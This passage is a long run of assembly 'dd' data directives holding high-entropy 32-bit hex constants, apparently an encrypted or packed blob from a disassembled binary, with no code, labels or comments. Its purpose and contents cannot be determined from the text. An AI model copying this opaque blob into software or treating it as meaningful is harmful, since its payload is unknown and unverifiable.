		dd 0D8CF367Dh, 2F7E3BA0h, 9DDE6090h, 44BB879Dh,	8B0B658Ah
		dd 38DBFA31h, 2BDA1D60h, 14181AFEh, 99B2F39Dh, 84538AE0h
		dd 67AAEDA4h, 91C35790h, 0FF44F66Dh, 0ACE3FDF9h, 377A700Dh
		dd 48A8DDF4h, 954F46B2h, 0C16A1EA1h, 60768380h,	0FBA08A29h
		dd 0E76675B8h, 0F4D07D4Ch, 0F0275E95h, 202003F6h, 0B6FE6E3h
		dd 210474Ah, 51B7AE12h,	0F48CC3FDh, 35D267BEh, 0EC634FBDh
		dd 77638238h, 0F478AE4Eh, 54CD83FDh, 7C8B3F21h,	0E5D70E45h
		dd 0DE3ACFEAh, 2F05564Dh, 6350F3Eh, 82B79E95h, 54A7E2C6h
		dd 342EE6F3h, 190EF04Dh, 0C0B74819h, 615632D6h,	87F70FFh
		dd 2C399AB5h, 516D0122h, 67EEE3FFh, 9FCB9968h, 8B3AF76h
		dd 0E01E7655h, 54B272A9h, 2C0F9994h, 46312F7Eh,	1A2EDED5h
		dd 94CB0345h, 0B9F7B0D4h, 34124A81h, 7BD7B9BCh,	85B5A510h
		dd 2ABABB61h, 0EF6175C6h, 0B920DF8h, 0F862D58Dh, 98B5FA4Dh
		dd 0D389BCF2h, 0D072390h, 80FAB229h, 340C6109h,	77C3BA26h
		dd 0AFCDA188h, 0D461493Ch, 27B86635h, 1629CDC0h, 4080D68Dh
		dd 0A610D209h, 4191A08Eh, 0D5A2CA86h, 903104EAh, 0FCA76799h
		dd 85D848B5h, 3CB3E023h, 0AD5670D8h, 84BBF2D1h,	0FD60D34Dh
		dd 0CCC3457Ah, 1E6DFB0Ch, 48CA82F9h, 2F6FAEC1h,	5C937385h
		dd 78DB6F25h, 0F0DB1247h, 0C8003AC5h, 5CB00991h, 8B473E8Ah
		dd 10E71F35h, 588FC701h, 64B34471h, 0A0D70E49h,	0C427649Bh
		dd 5C8CB560h, 0DF433AA6h, 2CF22B0Eh, 0A58BC2FAh, 0A9AD106Eh
		dd 9CAB0B27h, 92B72E65h, 11BFC7A4h, 85A976EDh, 5CAACE83h
		dd 5183A629h, 0AB56E219h, 9AAFEAB1h, 29D62A61h,	0E057449Dh
		dd 0F0FBF7E2h, 0D84BF9DFh, 4C190E78h, 0BEF22FC3h, 817F7714h
		dd 3528269Dh, 8A633FC1h, 0ED2B03F0h, 73D09289h,	0A2AAE831h
		dd 0DB182255h, 90C7FF39h, 5E2B3500h, 331EFF8Dh,	2C83BAF1h
		dd 72A7DEF5h, 71972784h, 0A420D6CDh, 8CC3FC39h,	0A8039260h
		dd 0C2F3B754h, 7F5E66DDh, 0DC7D9256h, 3CB58BE5h, 6E5D5209h
		dd 3F9F7A2h, 0ECF09EDEh, 4520A175h, 0B41B620Eh,	0C68089BDh
		dd 0FCEF7CDCh, 61AA5600h, 0AEF229h, 0A8DF175Dh,	59E928F1h
		dd 16A7A485h, 15C781B9h, 0B86FA6DEh, 0AD80EA3Bh, 50A96FE7h
		dd 1196D012h, 86C2C1ABh, 0D7565BD3h, 102D4F6Fh,	6B1A588Ah
		dd 1859B692h, 3DDA3321h, 0A0AA9340h, 41703269h,	0E8DF532Bh
		dd 10DB7A57h, 80679ED5h, 64F89128h, 3DAF260Fh, 9CD30A4Dh
		dd 0C06AB360h, 95345289h, 893F76ADh, 75B1EACBh,	0ED04CD27h
		dd 0F7ABE219h, 5C330E7Fh, 356F296Eh, 0C4174E85h, 0A8CA8789h
		dd 0A562B0F9h, 4C83BA7Dh, 90C7EB72h, 75D02259h,	0C5FB4B80h
		dd 0FC37E67Ch, 0A6B82A7Ah, 90F372E4h, 0C9D00B61h, 46D3DD4Bh
		dd 68B42D10h, 0B42EE99Bh, 0C8651778h, 0CB336AC4h, 0AD0AE0A3h
		dd 44BB8745h, 184F163Ch, 95DBCA01h, 0ECE71E55h,	0F85D99E4h
		dd 0F84B87B8h, 2A731F3Ch, 80F4AEA5h, 2D6AA89Dh,	96057BA6h
		dd 0D4341A91h, 50074075h, 0C4D5134Ah, 0E62BFBE8h, 0A9E8AA21h
		dd 60D7E904h, 5074C559h, 598DC61Eh, 70906942h, 6F279E6Ah
		dd 0A10EA6BDh, 38AF7BC9h, 0E1130D79h, 807703F8h, 0F71A1B4Ah
		dd 0F72B7CA8h, 2060ACD2h, 22667F2h, 0D23E75C4h,	0F13A82B1h
		dd 0CB064E8Bh, 0CD166A94h, 0AA184477h, 0BAFC0C81h, 0B2D61360h
		dd 0A0DFE381h, 71D92165h, 99DBE64Bh, 68B0F12Fh,	6CA6DD1Dh
		dd 0DB1B5489h, 83FD59Dh, 5391CAD2h, 666CA7FDh, 138AB402h
		dd 2070B2DEh, 206348DAh, 23609C85h, 0F65052F0h,	0FA2E6AB3h
		dd 0F9796BA7h, 90F523C4h, 84D91292h, 98C0F652h,	0FC256AABh
		dd 0B7FD5BABh, 423B5092h, 94CD1F5Fh, 14F0D446h,	90C7FE35h
		dd 2040A316h, 160F068Ah, 3C40E126h, 0AD0A8EC5h,	44BB875Dh
		dd 34923E4Eh, 17C5942Dh, 0F0146EAAh, 0C89F6B79h, 16157B77h
		dd 11B6B842h, 0A5FC91BAh, 645BA8C9h, 0B7BD4CA4h, 314040B6h
		dd 903628FAh, 84A8E199h, 224F46ACh, 0C059F06Ah,	0D14E8C3Fh
		dd 0EF6E942Ah, 395CA30Ch, 7C03FA86h, 0E68D5E2Bh, 1E7F794h
		dd 3CEEA61Dh, 298FC225h, 80B3163Ch, 0E28A1249h,	35D236ACh
		dd 0EC634F19h, 77BB464Dh, 3466FA34h, 163EC6FDh,	0AFE63960h
		dd 1864CD45h, 2CFB723Eh, 2F72B2BEh, 237250D9h, 33EC9DE0h
		dd 0FC8B02E8h, 78AFE614h, 4E90DD16h, 7CD92074h,	0DB1B0E55h
		dd 484CF242h, 2C5932D1h, 4372BEF5h, 1A84B4E9h, 9890ACF1h
		dd 48019B1h, 59178E9Ah,	0C408A62Eh, 9D70A5CDh, 0C8BDA7Eh
		dd 0AE246715h, 0E5CB424Bh, 85639B08h, 0C4A24A41h, 376EA9h
		dd 3C70E756h, 0BDB8B62Dh, 0AC8DB68Eh, 0FE116635h, 0F3C571B4h
		dd 9804ED02h, 7F2359A1h, 606CB76Ah, 0D1F0B2E9h,	685FD330h
		dd 8D59CE01h, 8351EEBh,	540B4277h, 0C6FFDB48h, 5CD08A81h
		dd 0B555638Bh, 0A4807C96h, 8625282Dh, 0A1FE8FDEh, 9ED33EB5h
		dd 0C6DC1249h, 0E61BFBE8h, 13BBAA21h, 0A081BA7Ah, 4938B829h
		dd 0A8DFD675h, 0CC033699h, 2776B595h, 65ABDF8h,	6CB3EAB7h
		dd 0D0203901h, 13B7AE3Ah, 0A4DB19F1h, 48CC36Dh,	25239AA9h
		dd 3DBB3B32h, 5C3A299h,	70A2E52Fh, 7CB3EA2Dh, 0D9195778h
		dd 0EA2777B3h, 0E8E32251h, 0D9C70FECh, 0F0E49E95h, 55664604h
		dd 901EE61Dh, 9CD30A46h, 0C875A3E2h, 69C45249h,	48496E5Ah
		dd 0BA6932D1h, 0F5063D80h, 746BF815h, 0DA4B153Dh, 3DF32A62h
		dd 0E018DE61h, 553A6A9h, 6F5F96CEh, 0C70E686h, 635F15h
		dd 0E4CB023Ah, 0B815DAD4h, 0D0A0B94Fh, 7D372EB7h, 29E83B09h
		dd 486E3E45h, 0C0308911h, 0EBC7BE0Ah, 5D70A5B7h, 0D80F068Ah
		dd 79A88316h, 2097AB22h, 4CE84119h, 0E59F963Fh,	673FF971h
		dd 2BE71E56h, 0D4823EB9h, 75B23648h, 1C1397AAh,	283C3327h
		dd 0CE9CD2C9h, 0E2C0602Dh, 9870C94Fh, 5307FE47h, 701EB1F1h
		dd 184F87CBh, 99002770h
		dd 7A970EF2h, 0FBEA2419h, 68E91AE2h, 0D343BF71h, 0F027501Ah
		dd 92D0FFB9h, 896FE6EAh, 0B6372209h, 0C5F2D70h,	0FADB1249h
		dd 0D4881C84h, 59C6AE75h, 1007B31Dh, 49D72F66h,	59E0C6BDh
		dd 53997709h, 7C139910h, 0CC9BF359h, 0E43B1A84h, 173B9AF2h
		dd 806FC299h, 548BC7E1h, 4691CB1Dh, 0F39E0A39h,	80E402DAh
		dd 0E857D589h, 2839BD6Fh, 21E42F5Eh, 506DBE35h,	74AB0301h
		dd 9F7EB83Dh, 0FC1D3AF6h, 0BC4BDB85h, 91BEA99Dh, 281FAB95h
		dd 566BBE33h, 0C0A748D5h, 218E356Ch, 0B82FFC6Dh, 7188B080h
		dd 0F78B43h, 28F3926Fh,	777FB6EDh, 5C308960h, 0B5C7BE07h
		dd 0B4EB2265h, 25941332h, 0FC73A0EBh, 89C1B42h,	8A52B229h
		dd 1650D6E3h, 90502900h, 33E75E27h, 0BB4D4251h,	6DC1F12Eh
		dd 0DC7D4876h, 727C1EE5h, 0C48B6773h, 4F95CE05h, 9B113B0Ch
		dd 0BF8C4714h, 7F81BD9Ah, 8D9171F8h, 7C9DE89Eh,	0DFF38105h
		dd 57048DBCh, 0B6DF8BB8h, 21833A31h, 0F0677328h, 3C61D6BAh
		dd 386FBBCDh, 69375F7Ch, 0E537EEE5h, 0A49BDA16h, 87F08A6Dh
		dd 2C287316h, 10477EB5h, 0F9E8E8D9h, 588F86E5h,	5395400Ah
		dd 2054D510h, 0C4FB725Eh, 8D9F568Dh, 11437EEFh,	8687EDCBh
		dd 34DD2164h, 8C8F0C38h, 0BDB0F02Ah, 6CD7FD85h,	4B8EF32h
		dd 6B5FE521h, 4E80B6F6h, 2D739F03h, 54A1DF3Ah, 78AFE61Dh
		dd 9624AACh, 12347BE2h,	0F65C9989h, 49417BB1h, 0E951B4FEh
		dd 0DC0943B1h, 0C71A67A5h, 0D0CF3F79h, 0B5033A62h, 9CD90FC5h
		dd 94E337A9h, 0A9CB1952h, 4C770E3Bh, 66A8F244h,	53BDFB3Dh
		dd 0CDF42663h, 4894C1A7h, 3680B624h, 289C920Ch,	497BF6E9h
		dd 3264DAEAh, 9493EF9h,	0B8579ADCh, 0A528C7Dh, 54170E1h
		dd 0F3135CCAh, 0D37B8BE9h, 920B5F8Eh, 0D42E145Eh, 0F0E4309Ah
		dd 0D408347Ah, 0ECDC3566h, 0A5E11001h, 93B3FC6Ah, 6BFAD204h
		dd 0C800FB2Ah, 75E3EE3Ah, 49937E24h, 0F46CE726h, 4B4ABA16h
		dd 2874A621h, 7ABCCF0Ah, 0EB079B76h, 0E7901052h, 0BCDEDE95h
		dd 20E1928Eh, 440596C8h, 185A78B5h, 964A3374h, 0C0F9C79Bh
		dd 0A6648FACh, 10B7E95Bh, 6F2BB6Bh, 0F2CB6A81h,	548BC2F9h
		dd 78AFE61Dh, 9CD30A41h, 0C0F72E65h, 0E41B5289h, 83F76ADh
		dd 2C639AD1h, 5087BEF5h, 74ABE219h, 98CF063Dh, 0BCF32A61h
		dd 0E0174E85h, 43B72A9h, 285F96CDh, 4C83BAF1h, 70A7DE15h
		dd 94CB0239h, 0B8EF265Dh, 0DC134A81h, 54C9E8ABh, 0C2B81569h
		dd 487FF616h, 45F93F90h, 87C7FE75h, 39D7E5ECh, 27123E4Ch
		dd 0AC3270E8h, 0FC33D23Ch, 366FF4D0h, 605DF116h, 4E3A0EE0h
		dd 0A4254949h, 0CDA5B702h, 75B866DDh, 1C13B367h, 82F6B33Ch
		dd 0C5C4F4F1h, 0BFFAEBh, 0ECC1D1D6h, 0D0E3A675h, 0D4036299h
		dd 8D4F86BDh, 7C91CE66h, 68902705h, 0C43AEE3Dh,	0EF2A7851h
		dd 8CECB8F6h, 0B9122195h, 0F616FFB8h, 280EA61Dh, 0E3F7BA7Ch
		dd 7CDF7125h, 39542867h, 0C83F5891h, 0F8234410h, 1375A9BAh
		dd 0FAE092A7h, 0FE467E29h, 0C8B314A0h, 3BC5CD49h, 0D409C168h
		dd 2F720DE5h, 0F77555ECh, 70A04852h, 9F8AEAF9h,	0F532A911h
		dd 9C9333CFh, 0A979B3A8h, 0E41B5249h, 0C2776ADh, 0B7639AD1h
		dd 10C04C7Ah, 0A3783A19h, 80F72568h, 3FF32A61h,	2010DC12h
		dd 0C4872A9h, 4AFF1346h, 0C09ABAB1h, 99296B20h,	1B8A0279h
		dd 0F8C898E2h, 62A0C381h, 18372EAEh, 245B92C8h,	0C33E7F1Ch
		dd 6CA35AA0h, 0E52FD035h, 0B72E71B3h, 98E8B012h, 7FFD6DA1h
		dd 17579A0Bh, 447CB96Dh, 5875590Dh, 0A13FF931h,	2BE71E55h
		dd 7C3B3EB7h, 7FC20455h, 35E90FC0h, 7E76AEA5h, 0E4934CB9h
		dd 710BF616h, 0B8B5C3D1h, 416EFE74h, 752C1A20h,	3F82C5DEh
		dd 785C2BBCh, 8D971A41h, 0CC921BD5h, 9F356FCCh,	0CC03B1FCh
		dd 58A8C495h, 1B599593h, 386F1162h, 7612A001h, 0FBB4A325h
		dd 0A6F2020Fh, 99FE40E4h, 8251F2E2h, 0BD46FD40h, 342BAB7Fh
		dd 0E0CF4B5Ah, 0F82FE918h, 47D70E45h, 84C48CBEh, 9587068Dh
		dd 0F66A9EBh, 70A0485Ah, 0BE0841F9h, 7BAF2606h,	1FA22E45h
		dd 0BE630A5h, 0C713A894h, 2808F6BBh, 83F5B20h, 6C9BE7F9h
		dd 4FC7DE42h, 19F831FDh, 57BE2958h, 61098232h, 0EA78CA40h
		dd 0A9696A14h, 0AD6A8328h, 0F1C95220h, 1E9B810h, 39C93AB9h
		dd 946CDDF8h, 814922F4h, 7C741FE0h, 0C9690ADCh,	498620C8h
		dd 11C9F2D6h, 91EE32B0h, 0DF09DA9Eh, 3C5CFC36h,	5100E9C5h
		dd 1AFE4184h, 0C18B188Ch, 0A3E6285Ch, 0AC4D2094h, 82F81AB1h
		dd 65B70548h, 1C13AE12h, 486826C7h, 40DBF407h, 0E69DF82Ch
		dd 0E4DD34B8h, 3774B80Dh, 0FC69E5F4h, 15F5B740h, 9488239h
		dd 0A178DD0h, 34B20528h, 0D95C181Dh, 3603FA55h,	488D85ACh
		dd 0CECB1CF1h, 8867BBDCh, 0A9C82212h, 812F2D70h, 20DB1249h
		dd 79048A3Bh, 97D90831h, 0B844E947h, 0B46BA2D9h, 9BE2E854h
		dd 88D797AEh, 1D820E85h, 0C43B063Ah, 681F568Dh,	0ACB37D65h
		dd 61E4952Bh, 578B020Dh, 6FB0E61Dh, 9CD380C5h, 3BC4A665h
		dd 8F726AB5h, 11A91326h, 0D4D39A11h, 0CDF2694Bh, 746BF62Ah
		dd 99CF063Dh, 0D579D7EAh, 1B434EC5h, 300CF73Ch,	285F968Dh
		dd 0EBEBBCF1h, 0DDD1DDB9h, 0B0268A3Eh, 0D65614D4h, 0BA134A39h
		dd 7036223Ch, 0A166EC86h, 48BFCA1Eh, 74A3DA11h,	88AC8B7Dh
		dd 0E3D5F759h, 98DB1702h, 0FC336AA1h, 0DDD606C9h, 4187B2F1h
		dd 0B00459B5h, 9B765531h, 0F0134FDAh, 0D40B4579h, 482B7A9Dh
		dd 0A7EA242Ah, 70446Ah,	8FCE4D09h, 4C077FE5h, 78D49F04h
		dd 0D0063EB5h, 0CBF76299h, 1FEB2D25h, 0B2182313h, 0BB970E0Eh
		dd 63BBF281h, 2177C131h, 37033A53h, 0D7191BADh,	0BC6B1294h
		dd 0BF024298h, 0F46DF360h, 0DB510370h, 31526DBAh, 0C83F4A9Eh
		dd 0AECE2C44h, 10477EB4h, 0C3C396AEh, 0A8A2E527h, 504CC23Ch
		dd 8F1CD10h, 6F152704h,	1FA6011Eh, 0E5C5FF38h, 0E88E9E95h
		dd 34FFA82h, 0B87BB7A2h, 9CD30E41h, 2805E265h, 0AC1D9272h
		dd 0C8470E44h, 84BA9E05h, 2FEE360Ah, 652839C0h,	90CFC631h
		dd 9F32A61h, 0B78CCEBBh, 43BB27Dh, 41F757C1h, 56BC9309h
		dd 0B0D3097Ah, 97A7C239h, 84D68B53h, 6CAA4A41h,	7DBDD836h
		dd 241B66B4h, 42BF4683h, 0AC8FB596h, 38A1A835h,	31366FB7h
		dd 0D8CF1A6Eh, 0FC336AB1h, 59C79519h, 31C3D84Fh, 0F846BC79h
		dd 0CCB25459h, 329CA7ACh, 830B8292h, 38FB3722h,	1C53AAC1h
		dd 0B08063E5h, 8D18CCC1h, 22BF3661h, 6C648273h,	0FC38C308h
		dd 0F4EB6259h, 1BDB86BDh, 468B6E61h, 0A083B7AAh, 0D121829h
		dd 68F89CFAh, 492E9571h, 0F0679266h, 544B82B9h,	68BFAF12h
		dd 68AC4FFFh, 0AF1DEEE5h, 0E4A7E3CEh, 0C8FFB66Dh, 3C1A8F91h
		dd 2AC488FDh, 9E6B62EDh, 0A029A314h, 0F99EF252h, 0A0170256h
		dd 0C4FB3369h, 1AF5881h, 0D819DFB7h, 0C279E95h,	3E28BCF8h
		dd 96AF2611h, 1D7BF0E8h, 0B17465B5h, 0E41B125Dh, 553F76ABh
		dd 361B0ECFh, 10B3E85Ah, 0FD42C819h, 58A868AAh,	0D817D261h
		dd 8F7E4E85h, 0C407432Eh, 285F9ECDh, 5B176EF1h,	0B0D30F9Ah
		dd 94C70239h, 8F63B5Dh,	7904439h, 5A372EB9h, 0A1664FF0h
		dd 48BFCA1Eh, 6CA3D211h, 38A10F4Ah, 11E182D8h, 0D8CF1A54h
		dd 0BC620503h, 3E64395Bh, 4E638B41h, 28AB01B2h,	8FDF3A31h
		dd 0DC0EC34Bh, 3F6542B9h, 0C400EB50h, 0C538A81h, 0A811AEE5h
		dd 6727128Ah, 82C7BAADh, 0ECCFF5B6h, 0C7AE2475h, 0E03EE72Bh
		dd 27B6867Dh, 7C9FDB66h
		dd 6097CE05h, 34B40669h, 0C15C181Dh, 3603FA65h,	1C58E3A8h
		dd 0F44B82F9h, 0B6BFA6DDh, 588FCCF6h, 0FAE9BDA2h, 0E4A7EBAEh
		dd 4284BF6Dh, 0A239A8Ah, 0DBBFE0Ch, 34FBA9AEh, 18A2957Dh
		dd 8D30E1C7h, 0A0D74E59h, 0A2FB32A9h, 0B5303C35h, 0AA1CEEAFh
		dd 2A7F4E2Ch, 9497DD7Eh, 7B4FA61Dh, 0EB4BBAE7h,	80E31FEAh
		dd 0E49B5289h, 983DCBADh, 15C01453h, 2E877EC9h,	71EF62C0h
		dd 981F0DF2h, 0FCD669E1h, 0D194051Bh, 43BB27Dh,	0F55F97CDh
		dd 56432AF8h, 0B0D3079Ah, 9BA29C39h, 786E7E7Fh,	0E82CEF87h
		dd 5BD16E65h, 13B19319h, 888BC772h, 6EA3DA11h, 0FFEAF335h
		dd 74F733DEh, 0D40F467Dh, 8C39DFA1h, 0FBD49885h, 0CE7BF2BDh
		dd 28ABE6B2h, 7CE33B31h, 3141D6F7h, 7F0BD220h, 0F26FB695h
		dd 0DC7FA546h, 0BDA218E5h, 645BA6DAh, 88C7F62Dh, 4FD2A86h
		dd 6D0DA6F4h, 0F4EB76BFh, 199FF15Fh, 8423A2C8h,	4C7D53FBh
		dd 0F311F269h, 68EB27D2h, 0BC033A71h, 5D940F95h, 97D3E8DEh
		dd 12CCB085h, 3A938A35h, 0DAF7E1BCh, 0DD515F32h, 45CA36ADh
		dd 0EC634E82h, 10677EB5h, 0E3FC91AEh, 0A029C114h, 19A9F22Ah
		dd 0A017025Bh, 0CEFAD629h, 0A82B8032h, 0F59A20B1h, 70A02822h
		dd 0DE4C3CF9h, 0B8887082h, 2C6AF041h, 9974300Dh, 8E1B125Dh
		dd 1450FBA0h, 2C629A11h, 0CC8ABFF5h, 74ABE29Ch,	136BADA5h
		dd 0CD68A583h, 61178E99h, 43B723Ah, 28A0EDCBh, 0D982BAF1h
		dd 0CC02961Ah, 0C6220BCh, 0B8EF265Dh, 0DA00E563h, 1DBEE687h
		dd 80A3ED6Bh, 0E3794550h, 0D7BD9A00h, 0BCF883C8h, 0B4EB2219h
		dd 989C477Dh, 864EF94h,	20578E05h, 6287AAE9h, 3C246EEFh
		dd 58B47F64h, 0B0E71E15h, 61FE4479h, 16D0705Eh,	0E98C0E68h
		dd 1CEF54DDh, 4FF2780Dh, 22C7863Ch, 4FD18F8h, 4D051B9Dh
		dd 0F4EB76C0h, 1B76F15Fh, 0B096391h, 0A083BF8Ah, 84BBF229h
		dd 38FFEACDh, 0B5801474h, 0B1279E69h, 9D406C99h, 3A6F8AD5h
		dd 1CBFE3A6h, 83D32E25h, 4FD756C9h, 26A5971Dh, 0F6C30909h
		dd 0D073A71Ah, 630288D9h, 185B9782h, 7CB30A21h,	4F264245h
		dd 84C703EEh, 0E81F568Dh, 1B382E91h, 3067A118h,	0C48816F9h
		dd 0B5650ADh, 214A51C8h, 0C0B727E3h, 25949370h,	2770699h
		dd 6C4F7356h, 0CDF268F5h, 746BF62Ah, 988F063Dh,	544D26D5h
		dd 5D1D11B5h, 47B4692h,	0B039A024h, 0A979DA2Ch,	70E712EEh
		dd 11969D9Bh, 0B82FFA4Eh, 0DD134A80h, 7D622179h, 241B669Ah
		dd 687FB6EDh, 2B4ED745h, 90C7FE34h, 447B272Dh, 531E71D3h
		dd 76B0E56Ch, 0FB57CECEh, 0B8B32BB1h, 0E5EA1F3Ch, 8C83EE22h
		dd 0B0671E55h, 518040CEh, 0F86F3A76h, 9C138247h, 6826B12Eh
		dd 0A0D0D696h, 49BFE651h, 375312F1h, 0AE01A1CCh, 926B7331h
		dd 8FA72C14h, 3C1B0261h, 195CE05h, 2FE34D4Bh, 0A6AC5FD2h
		dd 0CF4A213h, 0B3D70937h, 8C8FF5Fh, 0C76FE6D1h,	1CBFFB86h
		dd 80B7EE25h, 0F3D5A739h, 0A3370E84h, 0D472D5AAh, 606EF68Ch
		dd 2D091F60h, 0C590C6BDh, 7CF3139Fh, 0DC5E0746h, 7974364Dh
		dd 0E8DF466Ah, 0E5BDE738h, 0AD8E9E95h, 54CBCB77h, 44806BD0h
		dd 9C930A01h, 0C2A32E65h, 0A6727A9Ch, 376976B1h, 5B50750h
		dd 4787BE35h, 74AC0B9Dh, 98D42E3Dh, 0F92A2A61h,	14549CB3h
		dd 0C00D4478h, 6F5F6289h, 0C703286h, 16246715h,	0E7CB4252h
		dd 0BBC35ED4h, 402B9D9h, 1823311Ch, 1B5EA8E5h, 51192B64h
		dd 6FEADA51h, 0D500A73h, 0B4AB2B97h, 5117087Ch,	3C5C3026h
		dd 0F88619C5h, 44FB0584h, 9507D60Dh, 17E62963h,	0F020C4A2h
		dd 9DE37879h, 73C2054Fh, 0DC7C3056h, 383D39E5h,	8F8F8C08h
		dd 85A879E7h, 0AD03925Ch, 4C0A3E75h, 0F42B634Fh, 0E1B5DBBCh
		dd 0C972AA21h, 60D7C753h, 8B53BE95h, 0A8DFB8D2h, 0C8BDB771h
		dd 1995E36Ch, 124A82F9h, 0C6E94E2Dh, 0F112397Ch, 8077E7C7h
		dd 0DFD2A749h, 4B0242B0h, 0EC235BA8h, 9D808A4Ch, 342BAB7Bh
		dd 59944BF8h, 0F9B2EA21h, 0A0170793h, 3BC3B38Bh, 2C9C65B2h
		dd 97437AB1h, 738EA095h, 9D63F20Dh, 414285CFh, 5CFCB0FEh
		dd 0DC743D65h, 0E71B5289h, 48582032h, 3EE09DD1h, 0CB877EBEh
		dd 7866FD19h, 98148838h, 0FB1A2A61h, 9C965D7Dh,	873B72A9h
		dd 0E75E980Dh, 0DE00BD05h, 0C2A71EDEh, 0A58D169h, 3FEF6646h
		dd 9C400216h, 40B448A5h, 24A617D4h, 0AC68B6EDh,	40A3DA11h
		dd 1C440DC0h, 34EB2259h, 55123B67h, 0FC336A28h,	0FB58D43Ch
		dd 0ACAB8628h, 0AFF22B55h, 651D672Ah, 1F541E15h, 0CDA1C778h
		dd 752E66DDh, 1C13B3AFh, 29BD335Eh, 6412D2C9h, 917D7B54h
		dd 0B4111A91h, 0F941C33Ch, 9DF96259h, 184F86AAh, 249E1C51h
		dd 6097CEF0h, 0F3F30B6h, 0ABDD418Eh, 49EA4A2Fh,	0F06797CBh
		dd 0D0CA7E0Eh, 0AF4045EDh, 3D97EEC5h, 0F7F6097Ch, 0E4A484CEh
		dd 5586966Dh, 0EC6343BFh, 77B1744Dh, 34048334h,	0E50FC6FDh
		dd 80EE052Bh, 0DFCE1793h, 0F8793171h, 0A172B5F8h, 22B1FFBCh
		dd 54EE9DE0h, 4526431Dh, 0FFAFE601h, 7B679BCh, 9CBDAF71h
		dd 0C41B5229h, 83FF89E7h, 0A9DE7EDDh, 5047F74Fh, 50B86BA6h
		dd 15CE063Dh, 0BC3353CFh, 1674B3E7h, 0C63A3890h, 1C1DC1E1h
		dd 74AA8033h, 70F55F58h, 94C80239h, 0F678265Dh,	1FD519FDh
		dd 0E8F9E322h, 1B059289h, 888C1282h, 34B5D11h, 907E8230h
		dd 31642259h, 0D8CF1F4Bh, 0D37D6A07h, 6044023Ah, 4B3B37E9h
		dd 689F7A91h, 3C03D531h, 0E68805h, 0D46343DFh, 26EF669Dh
		dd 29171F3Ch, 68F6AEA5h, 9A17D124h, 1BFF632h, 0ECCC70D6h
		dd 9A8CCB75h, 792B22B2h, 0D8282852h, 0A6C1FBE1h, 0ED4A1E05h
		dd 84FBC7ADh, 9F326ECCh, 0CC0036F5h, 0D727C895h, 5454B84Eh
		dd 0B8DC45DDh, 0DF938A36h, 0FCBA2D6Dh, 0A4DB165Eh, 0D165BBE6h
		dd 0B5125AD1h, 0E018C1B4h, 5677C8Ah, 21391B28h,	0E996EA61h
		dd 0A01703A5h, 40EEF2EEh, 0E81F5ADEh, 89BCB3A0h, 30A7D76Fh
		dd 7CBCF32Ah, 78B2E628h, 3C607911h, 3DF7EE7Ah, 6E9751C9h
		dd 813F76B1h, 6C4CCC56h, 853F01F5h, 0FFABE202h,	15DADEF4h
		dd 0BC335E92h, 0F0174E85h, 813A78BEh, 281F86AAh, 8D820CE0h
		dd 5192CF28h, 8D1187C2h, 8347269Dh, 67134AA5h, 7D366A5Ch
		dd 241B8276h, 97E681Ch,	0D4E8BC4h, 0B9B183AEh, 0BB2A2219h
		dd 0E10911F0h, 2FA89F80h, 63C29DADh, 0D2BB5DDh,	6BC717E4h
		dd 43A97B81h, 994987E8h, 0E8A2FCDh, 983D6799h, 0A7774548h
		dd 276C2A3h, 0AC574FF9h, 0AB78CD18h, 0D6600512h, 1307FE3Eh
		dd 4471620h, 9AD2C6ACh,	3C73AA99h, 0FB5A59C4h, 4A006F30h
		dd 0ECDFD675h, 15F289F8h, 62889AF1h, 43918EBBh,	924F92DBh
		dd 0C07F963Dh, 0C563DC31h, 8C681225h, 0C986FF4Ch, 296B9F8Eh
		dd 354E72B5h, 34196588h, 5F5E4BF8h, 7F2AD91Ch, 0D6206552h
		dd 0E27731A8h, 0ED72B5F8h, 0D2103D84h, 177E22D0h, 0A39091D4h
		dd 6F7DB95Ch, 0F3361AC5h, 93C72BB0h, 600E113Dh,	0CF1255B2h
		dd 11FB65C0h, 47FA3D7Fh, 0ABED2A9Dh, 0B0FDD968h, 0BCF32A73h
		dd 87CA7D5Dh, 43B0A44h,	0A91496CDh, 0C56341Eh, 73DCC715h
		dd 4B270239h, 0CA3CB14Bh, 0B8130ABAh, 81D1501Eh, 2B014FA3h
		dd 487EDC72h, 40E55511h, 11A15C34h, 0BBA8D270h,	0D80E3C02h
		dd 0EA7261A1h, 20576EC5h, 477437F4h, 2BE9D60Dh,	523AFC0Dh
		dd 94632D35h, 770B4277h, 0F9C8E799h, 23538AC2h,	4075DC67h
		dd 5AD0EA09h, 0AC2D518h, 0ACE31CF0h, 0D31708ECh, 0F4B35E5Fh
		dd 0C94F87BDh, 134988C9h
		dd 3724BED0h, 35BB32FDh, 0B86C266Dh, 7603FA65h,	38F05C75h
		dd 0E0237611h, 0B5024573h, 9E1FC94Fh, 0DA81054h, 0A49BE61Ah
		dd 0C6671B44h, 25235A91h, 104784CDh, 0A0C34AD9h, 0D2A2E513h
		dd 0BCDF03A6h, 7A539445h, 0C43B0652h, 0F448DB05h, 2C617A71h
		dd 5C9823E8h, 5483C239h, 71BCE61Dh, 0A8EAB7C1h,	6CF82E25h
		dd 159869CEh, 0B3FB6E1h, 38649AD1h, 693C3EDCh, 71ABA22Dh
		dd 0DD4F56F1h, 0BC335E87h, 6072828Ah, 0C4074D06h, 8E2B9BCDh
		dd 18743F24h, 70A7DED5h, 9D178239h, 84D883DDh, 0AB114A41h
		dd 5694F11Eh, 245B52A2h, 0F4B45C5h, 16372CCh, 0AD2F7DC0h
		dd 3FEB2257h, 98E8DC0Ah, 0D0F542A1h, 9C5A4D90h,	447BB4F0h
		dd 716D6B84h, 423AFAF1h, 88B92121h, 8BCE0F34h, 0F9BCE898h
		dd 0E6D48AC1h, 40774E09h, 0B69D4D29h, 7415F97Fh, 3BF34450h
		dd 90336FFAh, 0F42B6299h, 8D511BCDh, 7C9FD696h,	751C5905h
		dd 0F7BB3219h, 9F78CDF1h, 51033A7Ah, 30375EEAh,	85E855B9h
		dd 0CB6D49DDh, 6D1041A5h, 80B7AE39h, 0ABCB1249h, 0C8FFDEF1h
		dd 0D4520991h, 77B86D4Dh, 92D81D34h, 0D58F86E6h, 0EE2FE9EFh
		dd 1BD70E45h, 84C444BEh, 0D8E5E18Dh, 0AC1F3432h, 4B479ED5h
		dd 56DABA3Fh, 8AAEAF0Ch, 81483555h, 3BF7EE55h, 240BEF16h
		dd 8369C8ADh, 89E27ECDh, 5047CE12h, 19466519h, 98CF063Dh
		dd 0BDEB94E8h, 8F1656BBh, 81B2092Ch, 281FAF4Fh,	18743F24h
		dd 70E7DED5h, 96170239h, 0CAEE1E10h, 6543638Dh,	0C030DC3Ah
